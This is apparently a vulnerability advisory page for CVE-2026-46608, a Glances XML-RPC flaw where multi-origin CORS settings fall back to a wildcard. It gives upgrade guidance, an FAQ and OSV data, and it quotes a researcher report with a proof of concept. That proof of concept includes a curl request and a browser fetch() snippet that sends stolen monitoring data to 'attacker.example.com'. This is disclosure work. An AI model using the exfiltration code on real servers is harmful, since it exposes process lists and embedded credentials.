CVE-2026-46608: Glances XML-RPC Multi-Origin CORS Configuration Silently Vulnerability

HIGH
Advisory Identifier: GHSA-87qc-fj39-wccr
CVSS 7.4
CWE-183 CWE-942
Published
Advisory Summary

CVE-2026-46608 is a HIGH (CVSS 7.4) xml-rpc multi-origin cors configuration silently vulnerability (CWE-183: Permissive List of Allowed Inputs) affecting Glances libraries in the PyPI ecosystem. The issue involves xml-rpc multi-origin cors configuration silently falls back to wildcard (incomplete fix for cve-2026-33533). Remediation is available by upgrading affected packages to version 4.5.5.

CVE-2026-46608 at a Glance

CVE Identifier CVE-2026-46608
GHSA Identifier GHSA-87qc-fj39-wccr
Severity HIGH
CVSS v3.1 Base Score 7.4
CWE Classification CWE-183: Permissive List of Allowed Inputs
Affected Product Glances
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-46608

To remediate this vulnerability, upgrade all affected Glances dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

glances fixed: 4.5.5
pip install glances>=4.5.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show glances

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-46608, inspect your installed packages using pip:

pip show glances

Analyze the terminal output to locate any version of Glances in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.5), your application is affected.

Note: The pip show glances command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-183: Permissive List of Allowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. In Glances, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Glances XML-RPC server (`glances -s`) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to `Access-Control-Allow-Origin: *` whenever `cors_origins` contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim's knowledge. --- ### Details **Affected file:** `glances/server.py`, class `GlancesXMLRPCServer`, line 113 **Direct URL (commit 04579778e733d705898a169e049dc84772c852da):** - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113 ```python # server.py (GlancesXMLRPCServer.__init__) cors_origins = self.args.cors_origins # list from config / CLI # Line 113 — the incomplete fix: self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*' # ^^^ # Any allowlist with 2+ entries collapses to the wildcard ``` The `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147 in the same file): ```python self.send_header('Access-Control-Allow-Origin', self.cors_origin) ``` This means the CORS header is determined once at server startup and never compared against the actual `Origin` header sent by the browser. Even if an operator sets: ```ini # glances.conf [outputs] cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com ``` the server responds with `Access-Control-Allow-Origin: *` to every request, including those from `https://attacker.example.com`. **Single-origin wildcard** (the default, `cors_origins = *`) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured. **Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da). Test results: | Origin sent | ACAO header returned | Expected | |--------------------------|----------------------|--------------| | `http://evil.example.com`| `*` | No header | | `https://dashboard.corp` | `*` | Reflected | | `https://grafana.corp` | `*` | Reflected | --- ### PoC **Special configuration required** The multi-origin collapse is only triggered when `cors_origins` contains two or more entries. Create the following `glances.conf`: ```ini # /tmp/glances_multiorigin.conf [global] check_update = false [outputs] cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com ``` **Step 1 — Start the XML-RPC server using the config above** ```bash glances -s -p 61209 -C /tmp/glances_multiorigin.conf ``` **Step 2 — Send a CORS simple request from a foreign origin** ```bash curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \ -H "Content-Type: text/plain" \ -H "Origin: http://evil.example.com" \ -d '<?xml version="1.0"?> <methodCall><methodName>getAllPlugins</methodName></methodCall>' ``` **Expected (secure) response:** ``` HTTP/1.0 400 Bad Request ``` or no `Access-Control-Allow-Origin` header. **Actual response:** ``` HTTP/1.0 200 OK Access-Control-Allow-Origin: * ... <?xml version='1.0'?> <methodResponse> <params><param><value><array><data> <value><string>cpu</string></value> <value><string>mem</string></value> ... </data></array></value></param></params> </methodResponse> ``` **Step 3 — Demonstrate the code-level collapse to wildcard** ```python import sys sys.path.insert(0, '/path/to/glances') # adjust to local clone from glances.config import Config c = Config('/tmp/glances_multiorigin.conf') cors_list = c.get_list_value('outputs', 'cors_origins', default=['*']) # Reproduces server.py line 113: result = cors_list[0] if len(cors_list) == 1 else '*' print('cors_origins config :', cors_list) print('cors_origin applied :', result) print('Is wildcard? :', result == '*') # cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com'] # cors_origin applied : * # Is wildcard? : True ``` **Browser-based exploitation** Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows: ```javascript // Runs in a page on http://evil.example.com const payload = `<?xml version="1.0"?> <methodCall><methodName>getAll</methodName></methodCall>`; fetch('http://GLANCES_HOST:61209/RPC2', { method: 'POST', headers: { 'Content-Type': 'text/plain' }, body: payload, }) .then(r => r.text()) .then(data => { // 'data' contains hostname, OS, full process list, network interfaces, etc. fetch('https://attacker.example.com/collect?d=' + btoa(data)); }); ``` This works as a CORS "simple request" (POST + `text/plain`) — no CORS preflight is triggered and the `*` wildcard allows the browser to read the response. --- ### Impact **Vulnerability type:** CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942) **Who is impacted:** Any operator who: 1. Runs Glances in XML-RPC server mode (`glances -s`), *and* 2. Has configured two or more `cors_origins` entries in `glances.conf` believing they are restricting browser access. Operators using the default single-wildcard configuration (`cors_origins = *`, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin. **Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata. **Impact:** - **Confidentiality:** High — complete system monitoring data readable by any browser page. - **Integrity:** None — read-only API. - **Availability:** None — no denial-of-service component. --- ### Suggested Fix Implement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's `CORSMiddleware`): ```python # server.py — replace the single static self.cors_origin field with: def _get_acao_header(self, request_origin: str) -> str | None: """Return the correct Access-Control-Allow-Origin value or None.""" if not self.cors_origins or '*' in self.cors_origins: return '*' if request_origin in self.cors_origins: return request_origin return None # do not send the header for unlisted origins # In do_POST / send_response: origin = self.headers.get('Origin', '') acao = self._get_acao_header(origin) if acao: self.send_header('Access-Control-Allow-Origin', acao) self.send_header('Vary', 'Origin') ``` Additionally, consider retiring the legacy XML-RPC server in favour of the REST API (`glances -w`), which uses Starlette's `CORSMiddleware` correctly, and document the deprecation path. --- ### Responsible Disclosure The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. --- ### Credits This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team. ---

CVE-2026-46608 Affected Glances Versions

1 component(s)
Fixed Versions:
4.5.5
Product / Package Ecosystem Affected Versions Fixed Version
glances
PyPI
< 4.5.5
4.5.5

References

Frequently Asked Questions

What is CVE-2026-46608?
CVE-2026-46608 is a security vulnerability in Glances involving XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533) under CWE-183: Permissive List of Allowed Inputs.
Which Glances versions are affected?
Affected versions include releases prior to 4.5.5 across affected packages: glances.
What version fixes CVE-2026-46608?
Upgrading to 4.5.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is glances affected?
Yes, glances is affected in releases prior to 4.5.5. Upgrade your dependency to 4.5.5 or later.
What is the CVSS score of CVE-2026-46608?
CVE-2026-46608 has a CVSS v3.1 base score of 7.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-46608?
CVE-2026-46608 is classified under CWE-183: Permissive List of Allowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.).
How can I check PyPI dependencies for CVE-2026-46608?
Run the dependency tree command: 'pip show glances'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-87qc-fj39-wccr",
  "modified" : "2026-07-21T14:44:09Z",
  "published" : "2026-06-22T21:27:24Z",
  "aliases" : [ "CVE-2026-46608" ],
  "summary" : "Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)",
  "details" : "### Summary\n\nThe Glances XML-RPC server (`glances -s`) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533.  However, the implementation silently falls back to `Access-Control-Allow-Origin: *` whenever `cors_origins` contains more than one entry.  An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described.  A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim's knowledge.\n\n---\n\n### Details\n\n**Affected file:** `glances/server.py`, class `GlancesXMLRPCServer`, line 113\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113\n\n```python\n# server.py  (GlancesXMLRPCServer.__init__)\ncors_origins = self.args.cors_origins   # list from config / CLI\n\n# Line 113 — the incomplete fix:\nself.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'\n#                                                                  ^^^\n# Any allowlist with 2+ entries collapses to the wildcard\n```\n\nThe `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147 in the same file):\n\n```python\nself.send_header('Access-Control-Allow-Origin', self.cors_origin)\n```\n\nThis means the CORS header is determined once at server startup and never compared against the actual `Origin` header sent by the browser.  Even if an operator sets:\n\n```ini\n# glances.conf\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\nthe server responds with `Access-Control-Allow-Origin: *` to every request, including those from `https://attacker.example.com`.\n\n**Single-origin wildcard** (the default, `cors_origins = *`) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Origin sent              | ACAO header returned | Expected     |\n|--------------------------|----------------------|--------------|\n| `http://evil.example.com`| `*`                  | No header    |\n| `https://dashboard.corp` | `*`                  | Reflected    |\n| `https://grafana.corp`   | `*`                  | Reflected    |\n\n---\n\n### PoC\n\n**Special configuration required**\n\nThe multi-origin collapse is only triggered when `cors_origins` contains two or more entries.  Create the following `glances.conf`:\n\n```ini\n# /tmp/glances_multiorigin.conf\n[global]\ncheck_update = false\n\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\n**Step 1 — Start the XML-RPC server using the config above**\n\n```bash\nglances -s -p 61209 -C /tmp/glances_multiorigin.conf\n```\n\n**Step 2 — Send a CORS simple request from a foreign origin**\n\n```bash\ncurl -s -D - -X POST \"http://TARGET_HOST:61209/RPC2\" \\\n     -H \"Content-Type: text/plain\" \\\n     -H \"Origin: http://evil.example.com\" \\\n     -d '<?xml version=\"1.0\"?>\n         <methodCall><methodName>getAllPlugins</methodName></methodCall>'\n```\n\n**Expected (secure) response:**\n\n```\nHTTP/1.0 400 Bad Request\n```\n\nor no `Access-Control-Allow-Origin` header.\n\n**Actual response:**\n\n```\nHTTP/1.0 200 OK\nAccess-Control-Allow-Origin: *\n...\n<?xml version='1.0'?>\n<methodResponse>\n  <params><param><value><array><data>\n    <value><string>cpu</string></value>\n    <value><string>mem</string></value>\n    ...\n  </data></array></value></param></params>\n</methodResponse>\n```\n\n**Step 3 — Demonstrate the code-level collapse to wildcard**\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')   # adjust to local clone\nfrom glances.config import Config\n\nc = Config('/tmp/glances_multiorigin.conf')\ncors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])\n# Reproduces server.py line 113:\nresult = cors_list[0] if len(cors_list) == 1 else '*'\n\nprint('cors_origins config :', cors_list)\nprint('cors_origin applied :', result)\nprint('Is wildcard?        :', result == '*')\n# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']\n# cors_origin applied : *\n# Is wildcard?        : True\n```\n\n**Browser-based exploitation**\n\nOnce the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full.  A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:\n\n```javascript\n// Runs in a page on http://evil.example.com\nconst payload = `<?xml version=\"1.0\"?>\n  <methodCall><methodName>getAll</methodName></methodCall>`;\n\nfetch('http://GLANCES_HOST:61209/RPC2', {\n  method: 'POST',\n  headers: { 'Content-Type': 'text/plain' },\n  body: payload,\n})\n.then(r => r.text())\n.then(data => {\n  // 'data' contains hostname, OS, full process list, network interfaces, etc.\n  fetch('https://attacker.example.com/collect?d=' + btoa(data));\n});\n```\n\nThis works as a CORS \"simple request\" (POST + `text/plain`) — no CORS preflight is triggered and the `*` wildcard allows the browser to read the response.\n\n---\n\n### Impact\n\n**Vulnerability type:** CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)\n\n**Who is impacted:** Any operator who:\n1. Runs Glances in XML-RPC server mode (`glances -s`), *and*\n2. Has configured two or more `cors_origins` entries in `glances.conf` believing\n   they are restricting browser access.\n\nOperators using the default single-wildcard configuration (`cors_origins = *`, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read).  The incomplete fix addresses only the narrow case of a single non-wildcard origin.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High — complete system monitoring data readable by any browser page.\n- **Integrity:** None — read-only API.\n- **Availability:** None — no denial-of-service component.\n\n---\n\n### Suggested Fix\n\nImplement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's `CORSMiddleware`):\n\n```python\n# server.py  — replace the single static self.cors_origin field with:\n\ndef _get_acao_header(self, request_origin: str) -> str | None:\n    \"\"\"Return the correct Access-Control-Allow-Origin value or None.\"\"\"\n    if not self.cors_origins or '*' in self.cors_origins:\n        return '*'\n    if request_origin in self.cors_origins:\n        return request_origin\n    return None   # do not send the header for unlisted origins\n\n# In do_POST / send_response:\norigin = self.headers.get('Origin', '')\nacao   = self._get_acao_header(origin)\nif acao:\n    self.send_header('Access-Control-Allow-Origin', acao)\n    self.send_header('Vary', 'Origin')\n```\n\nAdditionally, consider retiring the legacy XML-RPC server in favour of the REST API (`glances -w`), which uses Starlette's `CORSMiddleware` correctly, and document the deprecation path.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "glances"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/security/advisories/GHSA-87qc-fj39-wccr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46608"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-87qc-fj39-wccr"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nicolargo/glances"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/glances/PYSEC-2026-2495.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://pypi.org/project/glances"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-183", "CWE-942" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-22T21:27:24Z",
    "nvd_published_at" : "2026-06-25T19:16:37Z"
  }
}